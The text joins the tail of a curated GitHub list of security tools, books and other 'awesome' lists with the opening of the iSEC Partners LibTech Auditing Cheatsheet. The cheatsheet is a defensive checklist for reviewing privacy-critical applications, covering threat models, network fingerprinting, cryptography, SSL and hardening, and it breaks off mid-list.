(incubating)](https://github.com/apache/incubator-metron) - Metron integrates a variety of open source big data technologies in order to offer a centralized tool for security monitoring and analysis. - [Apache Spot (incubating)](https://github.com/apache/incubator-spot) - Apache Spot is open source software for leveraging insights from flow and packet analysis. - [binarypig](https://github.com/endgameinc/binarypig) - Scalable Binary Data Extraction in Hadoop. Malware Processing and Analytics over Pig, Exploration through Django, Twitter Bootstrap, and Elasticsearch. ## DevOps - [Securing DevOps](https://manning.com/books/securing-devops) - A book on Security techniques for DevOps that reviews state of the art practices used in securing web applications and their infrastructure. - [ansible-os-hardening](https://github.com/dev-sec/ansible-os-hardening) - Ansible role for OS hardening - [bunkerized-nginx](https://github.com/bunkerity/bunkerized-nginx) - nginx Docker image secure by default - [Trivy](https://github.com/aquasecurity/trivy) - A simple and comprehensive vulnerability scanner for containers and other artifacts, suitable for CI. - [Preflight](https://github.com/spectralops/preflight) - helps you verify scripts and executables to mitigate supply chain attacks in your CI and other systems. - [Teller](https://github.com/spectralops/teller) - a secrets management tool for devops and developers - manage secrets across multiple vaults and keystores from a single place. ## Terminal * [shellfirm](https://github.com/kaplanelad/shellfirm) - It is a handy utility to help avoid running dangerous commands with an extra approval step. You will immediately get a small prompt challenge that will double verify your action when risky patterns are detected. ## Operating Systems ### Privacy & Security - [Qubes OS](https://www.qubes-os.org/) - Qubes OS is a free and open-source security-oriented operating system meant for single-user desktop computing. - [Whonix](https://www.whonix.org) - Operating System designed for anonymity. - [Tails OS](https://tails.boum.org/) - Tails is a portable operating system that protects against surveillance and censorship. ### Online resources - [Security related Operating Systems @ Rawsec](https://inventory.raw.pm/operating_systems.html) - Complete list of security related operating systems - [Best Linux Penetration Testing Distributions @ CyberPunk](https://www.cyberpunk.rs/category/pentest-linux-distros) - Description of main penetration testing distributions - [Security @ Distrowatch](http://distrowatch.com/search.php?category=Security) - Website dedicated to talking about, reviewing and keeping up to date with open source operating systems - [Hardening Windows 10](https://www.hardenwindows10forsecurity.com/) - Guide for hardening Windows 10 ## Datastores - [databunker](https://databunker.org/) - Databunker is an address book on steroids for storing personal data. GDPR and encryption are out of the box. - [acra](https://github.com/cossacklabs/acra) - Database security suite: proxy for data protection with transparent "on the fly" data encryption, data masking and tokenization, SQL firewall (SQL injections prevention), intrusion detection system. - [blackbox](https://github.com/StackExchange/blackbox) - Safely store secrets in a VCS repo using GPG - [confidant](https://github.com/lyft/confidant) - Stores secrets in AWS DynamoDB, encrypted at rest and integrates with IAM - [dotgpg](https://github.com/ConradIrwin/dotgpg) - A tool for backing up and versioning your production secrets or shared passwords securely and easily. - [redoctober](https://github.com/cloudflare/redoctober) - Server for two-man rule style file encryption and decryption. - [aws-vault](https://github.com/99designs/aws-vault) - Store AWS credentials in the OSX Keychain or an encrypted file - [credstash](https://github.com/fugue/credstash) - Store secrets using AWS KMS and DynamoDB - [chamber](https://github.com/segmentio/chamber) - Store secrets using AWS KMS and SSM Parameter Store - [Safe](https://github.com/starkandwayne/safe) - A Vault CLI that makes reading from and writing to the Vault easier to do. - [Sops](https://github.com/mozilla/sops) - An editor of encrypted files that supports YAML, JSON and BINARY formats and encrypts with AWS KMS and PGP. - [passbolt](https://www.passbolt.com/) - The password manager your team was waiting for. Free, open source, extensible, based on OpenPGP. - [passpie](https://github.com/marcwebbie/passpie) - Multiplatform command-line password manager - [Vault](https://www.vaultproject.io/) - An encrypted datastore secure enough to hold environment and application secrets. - [LunaSec](https://github.com/lunasec-io/lunasec) - Database for PII with automatic encryption/tokenization, sandboxed components for handling data, and centralized authorization controls. ## Fraud prevention - [FingerprintJS](https://github.com/fingerprintjs/fingerprintjs) - Identifies browser and hybrid mobile application users even when they purge data storage. Allows you to detect account takeovers, account sharing and repeated malicious activity. - [FingerprintJS Android](https://github.com/fingerprintjs/fingerprint-android) - Identifies Android application users even when they purge data storage. Allows you to detect account takeovers, account sharing and repeated malicious activity. ## EBooks - [Holistic Info-Sec for Web Developers](https://holisticinfosecforwebdevelopers.com/) - Free and downloadable book series with very broad and deep coverage of what Web Developers and DevOps Engineers need to know in order to create robust, reliable, maintainable and secure software, networks and other, that are delivered continuously, on time, with no nasty surprises - [Docker Security - Quick Reference: For DevOps Engineers](https://binarymist.io/publication/docker-security/) - A book on understanding the Docker security defaults, how to improve them (theory and practical), along with many tools and techniques. - [How to Hack Like a Pornstar](https://books2read.com/u/bWzdBx) - A step by step process for breaking into a BANK, Sparc Flow, 2017 - [How to Hack Like a Legend](https://amzn.to/2uWh1Up) - A hacker’s tale breaking into a secretive offshore company, Sparc Flow, 2018 - [How to Investigate Like a Rockstar](https://books2read.com/u/4jDWoZ) - Live a real crisis to master the secrets of forensic analysis, Sparc Flow, 2017 - [Real World Cryptography](https://www.manning.com/books/real-world-cryptography) - This early-access book teaches you applied cryptographic techniques to understand and apply security at every level of your systems and applications. - [AWS Security](https://www.manning.com/books/aws-security?utm_source=github&utm_medium=organic&utm_campaign=book_shields_aws_1_31_20) - This early-access book covers commong AWS security issues and best practices for access policies, data protection, auditing, continuous monitoring, and incident response. - [The Art of Network Penetration Testing](https://www.manning.com/books/the-art-of-network-penetration-testing) - Book that is a hands-on guide to running your own penetration test on an enterprise network. (early access, published continuously, final release December 2020) - [Spring Boot in Practice](https://www.manning.com/books/spring-boot-in-practice) - Book that is a practical guide which presents dozens of relevant scenarios in a convenient problem-solution-discussion format.. (early access, published continuously, final release fall 2021) - [Self-Sovereign Identity](https://www.manning.com/books/self-sovereign-identity) - A book about how SSI empowers us to receive digitally-signed credentials, store them in private wallets, and securely prove our online identities. (early access, published continuously, final release fall 2021) - [Data Privacy](https://www.manning.com/books/data-privacy) - A book that teaches you to implement technical privacy solutions and tools at scale. (early access, published continuously, final release January 2022) - [Cyber Security Career Guide](https://www.manning.com/books/cyber-security-career-guide) - Kickstart a career in cyber security by learning how to adapt your existing technical and non-technical skills. (early access, published continuously, final release Summer 2022) - [Secret Key Cryptography]([https://www.manning.com/books/secret-key-cryptography) - A book about cryptographic techniques and Secret Key methods. (early access, published continuously, final release Summer 2022) - [The Security Engineer Handbook](https://securityhandbook.io/) - A short read that discusses the dos and dont's of working in a security team, and the many tricks and tips that can help you in your day-to-day as a security engineer. ## Other Awesome Lists ### Other Security Awesome Lists - [Android Security Awesome](https://github.com/ashishb/android-security-awesome) - A collection of android security related resources. - [Awesome ARM Exploitation](https://github.com/HenryHoggard/awesome-arm-exploitation) - A curated list of ARM exploitation resources. - [Awesome CTF](https://github.com/apsdehal/awesome-ctf) - A curated list of CTF frameworks, libraries, resources and software. - [Awesome Cyber Skills](https://github.com/joe-shenouda/awesome-cyber-skills) - A curated list of hacking environments where you can train your cyber skills legally and safely. - [Awesome Personal Security](https://github.com/Lissy93/personal-security-checklist) - A curated list of digital security and privacy tips, with links to further resources. - [Awesome Hacking](https://github.com/carpedm20/awesome-hacking) - A curated list of awesome Hacking tutorials, tools and resources. - [Awesome Honeypots](https://github.com/paralax/awesome-honeypots) - An awesome list of honeypot resources. - [Awesome Malware Analysis](https://github.com/rshipp/awesome-malware-analysis) - A curated list of awesome malware analysis tools and resources. - [Awesome PCAP Tools](https://github.com/caesar0301/awesome-pcaptools) - A collection of tools developed by other researchers in the Computer Science area to process network traces. - [Awesome Pentest](https://github.com/enaqx/awesome-pentest) - A collection of awesome penetration testing resources, tools and other shiny things. - [Awesome Linux Containers](https://github.com/Friz-zy/awesome-linux-containers) - A curated list of awesome Linux Containers frameworks, libraries and software. - [Awesome Incident Response](https://github.com/meirwah/awesome-incident-response) - A curated list of resources for incident response. - [Awesome Web Hacking](https://github.com/infoslack/awesome-web-hacking) - This list is for anyone wishing to learn about web application security but do not have a starting point. - [Awesome Electron.js Hacking](https://github.com/doyensec/awesome-electronjs-hacking) - A curated list of awesome resources about Electron.js (in)security - [Awesome Threat Intelligence](https://github.com/hslatman/awesome-threat-intelligence) - A curated list of threat intelligence resources. - [Awesome Threat Modeling](https://github.com/redshiftzero/awesome-threat-modeling) - A curated list of Threat Modeling resources. - [Awesome Pentest Cheat Sheets](https://github.com/coreb1t/awesome-pentest-cheat-sheets) - Collection of the cheat sheets useful for pentesting - [Awesome Industrial Control System Security](https://github.com/mpesen/awesome-industrial-control-system-security) - A curated list of resources related to Industrial Control System (ICS) security. - [Awesome YARA](https://github.com/InQuest/awesome-yara) - A curated list of awesome YARA rules, tools, and people. - [Awesome Threat Detection and Hunting](https://github.com/0x4D31/awesome-threat-detection) - A curated list of awesome threat detection and hunting resources. - [Awesome Container Security](https://github.com/kai5263499/container-security-awesome) - A curated list of awesome resources related to container building and runtime security - [Awesome Crypto Papers](https://github.com/pFarb/awesome-crypto-papers) - A curated list of cryptography papers, articles, tutorials and howtos. - [Awesome Shodan Search Queries](https://github.com/jakejarvis/awesome-shodan-queries) - A collection of interesting, funny, and depressing search queries to plug into Shodan.io. - [Awesome Anti Forensics](https://github.com/remiflavien1/awesome-anti-forensic) - A collection of awesome tools used to counter forensics activities. - [Awesome Security Talks & Videos](https://github.com/PaulSec/awesome-sec-talks) - A curated list of awesome security talks, organized by year and then conference. - [Awesome Bluetooth Security](https://github.com/engn33r/awesome-bluetooth-security) - A curated list of Bluetooth security resources. - [Awesome WebSocket Security](https://github.com/PalindromeLabs/awesome-websocket-security) - A curated list of WebSocket security resources. - [Security Acronyms](https://github.com/cloudsecurelab/security-acronyms) - A curated list of security related acronyms and concepts - [Awesome SOAR](https://github.com/correlatedsecurity/Awesome-SOAR) - A curated Cyber "Security Orchestration, Automation and Response (SOAR)" resources list. - [Awesome Security Hardening](https://github.com/decalage2/awesome-security-hardening) - A collection of awesome security hardening guides, best practices, checklists, benchmarks, tools and other resources. ### Other Common Awesome Lists Other amazingly awesome lists: - [awesome-awesomeness](https://github.com/bayandin/awesome-awesomeness) - awesome-* or *-awesome lists. - [lists](https://github.com/jnv/lists) - The definitive list of (awesome) lists curated on GitHub. - [Movies For Hacker](https://github.com/k4m4/movies-for-hackers) - A curated list of movies every hacker & cyberpunk must watch. - [Awesome Self-Hosted](https://github.com/awesome-selfhosted/awesome-selfhosted) - [Awesome Analytics](https://github.com/0xnr/awesome-analytics) - [Awesome Sysadmin](https://github.com/awesome-foss/awesome-sysadmin) ## [Contributing](contributing.md) Your contributions are always welcome!

# Meta The canonical, 'up-to-date' version is located at https://github.com/iSECPartners/LibTech-Auditing-Cheatsheet You are encouraged to improve the document and submit pull requests. The README.md document may be converted to html using ./build_html.py The HTML version contains minor formatting changes not possible in markdown. The Markdown version should be edited and is considered authoritative. The Github-styled markdown version of the document is generally sufficient, although formatting in Appendix A is improved in the HTML version. # Introduction This list is intended to be a list of additional or more technical things to look for when auditing extremely high value applications. The applications may involve operational security for involved actors (such as law enforcement research), extremely valuable transactions (such as a Stock Trading Application), societal issues that could open users to physical harassment (such as a Gay Dating Application), or technologies designed to be used by journalists operating inside repressive countries. It is an **advanced** list - meaning entry level issues such as application logic bypasses, common web vulnerabilities such as XSS and SQLi, or lower level vulnerabilities such as memory corruption are explicitly not covered. It is assumed that the reader is aware of these and similar vulnerabilities and is well trained in their search, exploitation, and remediation. A good example of the type of analysis to strive for can be shown in Jacob Appelbaum's analysis of UltraSurf: https://media.torproject.org/misc/2012-04-16-ultrasurf-analysis.pdf # The Stuff ## Documentation * **Threat Model**. Has the project documented what they intend to protect themselves from, and what they do not intend to protect themselves from? * If not, they probably haven't given much thought to what attacks may be possible to defend against and what attacks are not. * For example: Tor explicitly does not defend against end-to-end correlation: if an attacker can monitor a user (e.g. a user in the US) and the site they are connecting to (e.g. a site hosted at Amazon EC2 East Coast) it's assumed it's game over, and the attacker can de-anonymize the user. No complicated defenses will be taken. For this reason, tagging attacks are also not defended against. * Some other example Threat Models: * https://svn.torproject.org/svn/projects/design-paper/tor-design.html#subsec:threat-model * https://gitweb.torproject.org/obfsproxy.git/blob/HEAD:/doc/obfs2/threat-model.txt * https://www.torproject.org/projects/torbrowser/design/ * Some common threat model questions: * Do you intend to protect against forensic analysis of a disk to determine what activities a user has participated in using the software? * Do you intend to protect against forensic analysis of a disk to determine if a user had installed the software (and subsequently uninstalled it)? * Do you intend to disguise the use of the software to an adversary who can monitor the user's network connection? * If they say "Yes" they are almost certainly unable to accomplish this, and you should be able to find a few ways to break this. * Do you intend to disguise the activities of a user using the software from an adversary who can monitor the user's network connection? * Does the application have a **Protocol Specification**? * If an application uses a custom protocol, it should be documented to the level that you would feel comfortable producing an interoperating client from _only_ the specification with no reference to the code. Code is not specification. Code comments are not specification. * Any deviation from the protocol specification (even if superficial or without security effect) should be noted * Anytime the application accepts data that deviates from the specification should probably be noted. * Anytime the application does not accept data valid according to the specification should also probably be noted. * These last two are why we have HTML/SSL problems on the Internet: * Web browsers will happily display documents even if they have no opening <html> or <body> tags, <b><i>intermixed</b></i> tags, and <u>dangling tags. Incredible complexity was introduced in these loose parsers; upgrading them is fraught with furious peril, holding back security fixes. * In SSL's case, it states if you receive a version number greater than what you can handle, or an extension you don't recognize, you should be able to handle it gracefully. But many products don't, and thus web browsers perform a fallback to a lesser protocol version, and no extensions to accommodate these products. This allows an attacker to silently downgrade your SSL protocol version! * Thus, the application should be able to gracefully handle any way data can be formatted according to the spec; and that it generally should not loosely accept incorrectly formatted data, *especially* when it is the first or major implementation of the protocol. * TODOs, FIXMEs, HACKs, or XXXs * If code contains comments to these effects, the code should be investigated thoroughly (duh) and there should probably be a corresponding issue in the project's bugtracker. * Is project documentation kept up to date? * Does the software provide extremely simple, easy-to-understand instructions for use, discouraging bad practices and performing necessary verification checks? * Example: https://www.torproject.org/download/download-easy.html.en#warning * Are risks documented to users? * Does the software take efforts to explain what the product does and doesn't provide, and under what environments (e.g. corporate) the software grants no protection? * Examples: Chrome Incognito mode, Tor * Does the project conduct usability studies about how users actually use the software and whether they put themselves at risk by doing so? ## Service Administration * Do the administrators of the system enjoy a privileged position in relation to other users of the product or protocol? * Are they able to perform additional traffic analysis on users? * Do the protocols break down when a member of the protocol is also the service administrator? * This position may be enjoyed by attackers who can monitor or subvert the administrative network (internally or externally). * What systems are in place to restrict privileged individuals... * From fully subverting the system? * From gaining access to user account information? * From gaining access to web server logs? * With what ease can the system deliver backdoored or malicious code to users? * Does the application interpret code and execute it at runtime? * Does the application run on the provider's servers? * Does the application auto-update? * What technical and policy-based access control mechanisms are in place to segregate differently-privileged users? * How is the service hosted, and what additional privileged users are granted access by the choice of hosting? * What do they gain access to and what are they restricted from? * What is the application 'stack' of the service, including Operating System, language, frameworks, libraries, and modules? Are they publically disclosed? How popular/secure are they? * What additional services are running on machines that see privileged user information? * In what jurisdiction is the service hosted? ## Network Fingerprinting * Any permanent settings unique to a client (or customizable) that persist may be used to track users across networks. * Even in the case where a setting does not uniquely identify a user, it will partition the user into a subset of all users, reducing all users' anonymity. * Some examples to illustrate this topic: * A user may enable the Do Not Track header. The user visits a website, and the attacker observes they have set the header. When attempting to track this user in the future, they can assume the user will still have the header set. * A banner case: IPv6 addresses. In the initial design, the last /64 of your IP address was calculated from your MAC address. MACs are globally unique, and the odds of anyone else having the same /64 were low. Thus, even moving to the other side of the planet and installing a new operating system would allow your laptop to be correlated by a website operator with IP address logs. * A client chooses three random servers to talk to for the lifespan of an installation (or a set period of time). These three random servers can identify the client potentially uniquely (at the very least to a subset of users) because an adversary who can observe a client on different networks will see connections to servers A, F, and X only from this (or a subset of) client(s). This is easy for state-level adversaries. * SSL Session Resumption may even qualify depending on the threat model. If a server gives a user a ticket on IP address X, and tracks that ticket, and then sees it come from IP address Y - it knows these two IPs belong to the same client. * Depending on the application's threat model, the application may try to avoid a network operator being able to fingerprint the use of the application * This is extremely difficult if not impossible. Usually it's just getting to a 'best case' situation. If you're really interested or need to go deep into this, you can read about Tor bridges and how Tor has tried to avoid censorship in countries such as China, Ethiopia and Iran. * http://www.cs.kau.se/philwint/pdf/usenix-login-2012.pdf * https://trac.torproject.org/projects/tor/ticket/7141 * https://trac.torproject.org/projects/tor/ticket/6045 * https://gitweb.torproject.org/tor.git/commit/5ed73e3807d90dd0a3 * In General: https://censorshipwiki.torproject.org * Does the application run on non-standard ports or talk to unchanging IP addresses? Are the central communication IPs known and/or enumerable? If so, a network operator can hardcode these IPs and blacklist them. * Does the application communicate anything in plaintext, or make plaintext queries *about* the application? * If an application makes a SSL connection, but sends a server certificate with a common name of "Super Secret Anonymity Service" - a network operator can filter on that (plaintext) SSL certificate. * If the service makes a DNS request to supersecretanonymityservice.com - even if the rest of the protocol is unfingerprintable, that (plaintext) DNS request gave it away. * If the service smuggles a SSL certificate in somehow, but the application makes an OCSP request supersecretanonymityservice.com - that OCSP request is visible in plaintext. * Does the application use a nonstandard, unique, or uncommon cryptographic handshake and/or protocol? * Unfortunately, any new protocol developed that is unlike anything else would be fingerprintable. Even if it was fully random data with no structure - that itself is rare and fingerprintable. * The best case scenario is to disguise a protocol as a normal Web Browser using SSL, perhaps SSH, streaming flash video, Skype, or something similar. * This is difficult, but is being actively researched. See: * https://www.torproject.org/projects/obfsproxy * http://cacr.uwaterloo.ca/techreports/2012/cacr2012-08.pdf * Does the application take the standard approach of just using SSL? Is there anything unique about the SSL handshake that can be identified? * Unique and Constant set of Ciphersuites and/or extensions? * SSL Certificate Hostname * Performing a renegotiation immediately after a connection (Tor does this). * See also: the four Tor-related links above * Are the version or features of the application distinguishable to an adversary who can observe network traffic? ## Application Traces * If a user uses a tool, and uninstalls it - does it leave a trace on the filesystem? * This should be mentioned in the threat model explicitly. * Directories or Registry Keys left behind? * Cached Data or Temporary Files? * Most tools do not securely wipe themselves in the uninstall (and indeed cannot do it completely) but depending on the threat model it may be desirable to consider this. * Does the application log information? * How verbose is it by default? Is it necessary? * Does the application cache sensitive data to disk? * Does the application take steps to prevent sensitive data in memory from being swapped to disk? * Does the application securely zero memory for sensitive data before free()-ing it? * Does it use a cleanse function instead of memset, which may be optimized out by the compiler? See http://www.viva64.com/en/b/0178/ * What sensitive information is exposed if the user has malware? * What information can a keylogger or screengrabber see? * Can the malware access sensitive stored data? (All the time? Some of the time?) ## Cryptography - Generic * If they've written their own protocol there's probably a lot that can be fiddled with. Writing your own protocol is fraught with peril. A non-exhaustive list of things to look at: * Replay Attacks * Without a challenge/response or timestamp built in, an attacker could replay encrypted & signed messages from one participant to another * The randomness of the challenge is of course critical * A simple example would be the server sending a signed message "The latest version of the software is 1.0.0, this can be replayed indefinitely to keep a user at an old version. * Resource Exhaustion * If a protocol requires n^2 operations for n participants, what happens the number of participants is very large? * Denial of Service * Does the server/receiving participant perform crypto operations before the client? This is an offset work factor. * What if the client leaves a step half completed? * How does authentication happen? How does the client know they're talking to who they think they are? * Certificate Authorities, DNSSEC, or some other central authority? Pre-shared Keys? * What happens when one or more participants' clocks are off? * This could allow an attacker to reply messages with an older date; or accept an expired and compromised SSL certificate. * In an n-way protocol, what happens when 2 or more participants are colluding? * In the mathematical sense, this is most applicable in multi-party computation or threshold schemes. * But in the general sense, what happens when Trent, the trusted introducer (a Certificate Authority) colludes with Mallory, the attacker (a government). * **But really, the mere presence of a custom protocol, without an Academic Paper published, without peer review - that's a huge red flag. They should probably be working actively to fix this or replace it if possible.** * In general, examining an application up to the layer cryptographic library is insufficient, you must go deeper. * If the library is OpenSSL, verify they are using it correctly. This is exceptionally difficult, based on how confusing OpenSSL is. * Resources: * https://crypto.stanford.edu/~dabo/pubs/abstracts/ssl-client-bugs.html * https://isecpartners.com/news-events/news/2012/october/the-lurking-menace-of-broken-tls-validation.aspx * If the library is some other random one like PyCrypto - you should go into the library and make sure the library is doing it right. They often are not. * The defense of a library against side channel attacks should also be considered. * As an example, libgcrypt defends again Timing attacks, but not all oracle attacks * A good resource is http://crypto.junod.info/hashdays10_talk.pdf * **Similarly, re-implementing known algorithms, rather than using a library, should be strongly advised against.** * Key Rotation should be considered. * Encryption Keys should not be used to encrypt an infinite amount of data. (The limits depend on the cipher, block size, type of traffic, and other factors.) But generally speaking, an encryption key in use for a long period of time should have some mechanism to roll over to a new key. Is such a mechanism provided for? * How is the new key communicated in a trustworthy fashion to users? * If an important key is compromised, how would/does the project handle the revocation? ## Cryptography - Specific * Any transform applied to plaintext data prior to encryption should be treated as suspect. It will almost certainly leak some data about the plaintext in a theoretical way, and these 'theoretical' leaks often turn out to be exploitable. * Consider compression applied before encryption. This leaks the redundancy of the plaintext data being compressed. When part of the data is attacker controlled, this is eminently exploitable. See the recent SSL attack CRIME. * Dropbox [used to/still] de-duplicates data prior to encrypting and uploading. This means you can use Dropbox as an oracle to tell if anyone else has uploaded a document, which could lead to subpoenas to de-anonymize a whistleblower. * Applying an error correcting code on plaintext prior to encryption will introduce redundancy into the plaintext. * As a simple example, consider applying a CRC to the plaintext, and transmitting the ciphertext and CRC. The CRC, transmitted in plaintext) reveals something about the plaintext. If you knew or learned part of the plaintext (for example the Word file type and associated .doc standard format) you might be able to derive a software version. * Cryptographic Key Generation should be done carefully * Key Generation should generally not be done on device startup, as the device may be in a low or no-entropy state * Should use a blocking source of randomness * Special care should be taken if it is an embedded device or the quality of randomness is suspect * One party should not be able to control a key entirely in a shared-generation scenario * Keys should not be mathematically related, but instead derived through pseurandom mixing functions (hash functions) * Obscure or unfamiliar cryptographic constructs should be examined very closely, and likely referred to other consultants or professional cryptographers for second and third looks. These include: * Galois Counter Mode (Particularly Tag Length) * CBC-MAC * Related Key Derivations * Large Block constructions like BEAR or LIONESS * Does the cryptographic library or operations make use of constant-time algorithms? Do they eliminate data-dependent control flow branches or memory lookups? * More guidelines on cryptographic code are available at https://cryptocoding.net/index.php/Coding_rules * Older, but 'not yet insecure' cryptographic algorithms should be viewed very suspiciously. For example: * TDES, IDEA, SHA-1 * 64 Bit Block Ciphers * RSA PKCS #1 V1.5 Padding * A message must must must be integrity protected in its entirety. * If a message is not protected completely, there's probably something bad that can happen. * Be suspicious of bare Hashes sent around. A lot of times these are used for some form of authenticity or integrity, when in reality anyone who can modify something can also recompute the hash. * The implementation of Block Cipher modes should be examined very closely, as history has shown repeated mistakes here * CTR mode nonce generation, synchronization, and incrementation * http://www.daemonology.net/blog/2011-01-18-tarsnap-critical-security-bug.html * CBC Mode IV generation and authentication * The BEAST attack on SSL * Is the application vulnerable to tagging attacks? * See https://crypto.is/blog/tagging_attacks and https://crypto.is/blog/tagging_attack_on_mixmaster * See also Appendix B ## SSL * Any Lib Tech project should always prefer Ephemeral ciphersuites * SSL ciphersuites with 'DHE' in their name provide forward secrecy in the event of a private key compromise/factor. * http://googleonlinesecurity.blogspot.com/2011/11/protecting-data-for-long-term-with.html * If the site uses Client Certificates (or really any other form of SSL Authentication: PSK/etc) - do all third party includes also use that form of authentication? * If not, the authentication is the least secure of all forms of authentication. * Pinning * If they have a website: do they pin certificate authorities in Chrome's preloaded list? See: * http://www.chromium.org/sts * https://wiki.mozilla.org/Privacy/Features/HSTS_Preload_List * If they have a thick client or mobile app: do they pin certificates in it? * Choice of Certificate Authority comes into play here too. * http://ritter.vg/blog-cas_and_pinning.html * Web Site Concerns * Mixed Content * Javascript, CSS, or Embeds loaded over HTTP on a HTTPS site can result in page rewrites that massively impact the security of the site (e.g. obliterate it.) * Images, Fonts, and other resources are also a concern, as they trigger the Mixed Content warning in browsers (not good), and can allow an attacker to observe or modify traffic to impact or reveal the display of the page. * Cookies marked Secure * Strict-Transport-Security? * Is the site in Chrome's preloaded HSTS list? (See above) * Defense in Depth SSL Practices: * DANE * Really only effective with DNSSEC * https://grepular.com/Understanding_DNSSEC * http://tools.ietf.org/html/rfc6698 * CAA * DNS record to help prevent CA's from mis-issuing. http://tools.ietf.org/html/draft-ietf-pkix-caa * Must Staple OID * No reference on this yet as it doesn't exist quite yet. * OCSP Stapling * No good reference on this. Only supported in Apache 2.4/Nginx/IIS 7. Can test for it with wireshark. * Who has access to the SSL private key? * This seems like a no-brainer, but in some instances services will host a blog on squarespace or wordpress, and give them a wildcard SSL certificate that would allow the provider to MITM their entire application. If a SSL private key must reside on third-party infrastructure (EC2, Wordpress, Squarespace, etc) it should be tightly scoped. * They do generate their own Private Key, and submit a CSR correct? * Is the project hosted on bare metal, or a cloud provider? ## Privacy Development Techniques for Web Apps * The site should not leak a request to any Third Party if at all possible. * Third Party images, css, and javascript * OCSP request from the browser * Facebook Like buttons, Google +1 buttons * Google Analytics * Embedded Videos (Youtube, Vimeo) * Twitter Feed * Adaptive or Two-Factor Authentication (e.g. using RSA, YubiKey, etc) * The site should not log users actions, or perform the minimum amount of logging feasible * Do they log user's IP addresses? Do they have to? * How often do they wipe or anonymize the logs? How is the anonymization performed? * The Tor Project explains their process here: https://lists.torproject.org/pipermail/tor-dev/2011-October/002981.html * Does the site have a public statement explaining what they disclose to whom and under what circumstances? * _A lot of these come from [Micah Lee's talk at HOPE](https://www.eff.org/sites/default/files/filenode/hope_privacy_tricks.pdf)_ * _This is really worth reading and referencing as suggestions are given for ways to accomplish the same thing without leaking the data_ ## Development Best Practices * Restrictions on commonly abused functionality, such as preprocessor macros, and over riding variable scope can make it much easier to verify a program's correctness * A very restrictive set of programming guidelines (for C) are available from the Jet Propulsion Lab: http://lars-lab.jpl.nasa.gov/JPL_Coding_Standard_C.pdf * Code that parses files or network protocols must be coded defensively with an abundance of caution - the data should be assumed to be hostile and attacker-controlled (it often is) * Any length field should be assumed to be incorrect until validated, incorrectly implemented these often lead to buffer overflows * Unsigned data types should be used, as the data being parsed is full bytes, even if it is expected to be ASCII * Rob Graham has done an informative, cursory code review of Silent Circle: http://erratasec.blogspot.com/2013/02/silent-circle-and-inexperienced.html * When code was primarily authored or tested on 32-bit systems, subtle errors are likely to be introduced when compiling or running on 64-bit systems. * Magic constants are often assumed, such as sizeof(pointer) == 4 * Storing pointers in integers will truncate the top 32 bits * Bitwise operations may behave differently, especially with sign extension * Viva64 has blogged about a long list of potential errors with examples: http://www.viva64.com/en/a/0065/ * Even in the case of strong testing methods such as branch coverage, bugs may hide due to edge cases such as concurrency, inline arithmetic, or lookup tables or array indexing. For more examples, see: http://blog.regehr.org/archives/872 ## Web Application Defense in Depth * _These items are occasionally logged as bugs, and it may be appropriate to log them as such in a report; but they should be noted as defense in depth techniques that should be used to make exploitation more difficult._ * DNSSEC * Does the site make use of DNSSEC? * If the site does not operate under a signed root, they can register in the DLV: https://www.isc.org/solutions/dlv * Content Security Policy * http://engineering.twitter.com/2011/03/improving-browser-security-with-csp.html * http://www.w3.org/TR/CSP/ * crossdomain.xml and clientaccesspolicy.xml * http://code.google.com/p/browsersec/wiki/Part2#Same-origin_policy_for_Flash * http://code.google.com/p/browsersec/wiki/Part2#Same-origin_policy_for_Silverlight * These files should either be locked down or not present. If present, they should be examined closely. * Cache Control & AutoComplete=OFF * http://code.google.com/p/browsersec/wiki/Part2#Document_caching * Post-Redirect Pattern * http://en.wikipedia.org/wiki/Post/Redirect/Get * This pattern can prevent back-buttons resubmitting sensitive forms such as login * Strict Transport Security * http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security * X-Frame-Options along with frame busting javascript for clients who don't support it * https://developer.mozilla.org/en-US/docs/The_X-FRAME-OPTIONS_response_header * http://en.wikipedia.org/wiki/Framekiller * X-Content-Type-Options * http://blogs.msdn.com/b/ie/archive/2008/09/02/ie8-security-part-vi-beta-2-update.aspx * Correct character set specified * http://code.google.com/p/doctype-mirror/wiki/ArticleUtf7 * Prepared Statements for accessing a database, and never string built SQL * Minimized database user permissions (SELECT but no DELETE, etc) * Do they provide a mechanism to see other active sessions, a login history, and clear all sessions? * Do they have a two factor authentication option? Account lockout? IP whitelisting? * What is their "Forgot Password" logic like? * Simple questions like Mother's Maiden Name and Address on File are easily googleable (ask Sarah Palin.) A better solution is the email verification. * Does the site strip the Referer on outgoing links? * There are javascript techniques to do so, including http://blog.kotowicz.net/2011/10/stripping-referrer-for-fun-and-profit.html ## Mobile Application Defense in Depth * Does not unnecessarily collect or report on personal information: Contacts, Location, Phone Number, Device Identifiers, or other. * Uses a unique/non-hardware based identifier to prevent correlation with other apps * Communicates over SSL with remote servers, and correctly checks validity of SSL certificates * If feasible or possible, pins server certificate or CA * Does not download and run dynamic code from a server * The server could be compromised or impersonated to achieve remote code execution. * Uses all possible device-provided encryption APIs * In general, the application stores data securely, perhaps using SQLCipher https://guardianproject.info/code/sqlcipher/ * Allows expiring of authenticated phone sessions from a web site * Does not unnecessarily cache or store sensitive data on the device * Does not log sensitive data to the system log * Android * Does the application broadcast intents that can be received from other apps? * Does the application store data on the SD card, where it can be read by any other app? ## Binary / Thick Client Defense in Depth * Does not require administrative permissions during use or install * If a client requires administrative permissions during use, an attacker who exploited the program would then have administrative permissions and unchecked ability to compromise the user's machine. Running as administrator is an unacceptable design. * If a client requires administrative permissions during install, users without those permissions are prevented from using the software, and it trains users to accept 'Admin Access; for this installer, which would compromise more users if a software distribution point was compromised. * Does the application use the minimal set of third party libraries? * What are the versions of each? * Are they dynamically or statically linked? * Do they warn the user/refuse to load if the version is known to be insecure? * Does the application take efforts to prevent the leak of sensitive information in memory * Disallowing core dumps using prctl(PR_SET_DUMPABLE...) on segfaults or SIGKILL signals * (Attempting to) Prevent ptrace or other hooking * Disabling performance counters on Linux using prctl(PR_TASK_PERF_EVENTS_DISABLE...) * Does the application pack itself or use code obfuscation techniques that may flag it as a virus? * Does the application check and warn the user if an Anti-Virus is not present? * See: http://stackoverflow.com/questions/1331887/detect-antivirus-on-windows-using-c-sharp * Windows * DEP * ASLR for all modules * Prevent DLL Hijacking * Linux * Compatible with grSecurity / PaX / SELinux * seccomp * apparmor * A good (but not comprehensive) resource on things to look for is: http://blog.azimuthsecurity.com/2012/09/poking-holes-in-apparmor-profiles.html * Position Independent (PIE/PIC) * Is any information shared through an IPC mechanism, such as D-Bus or a shared event loop * Mac * Does the application sandbox itself using the Apple Sandbox? * 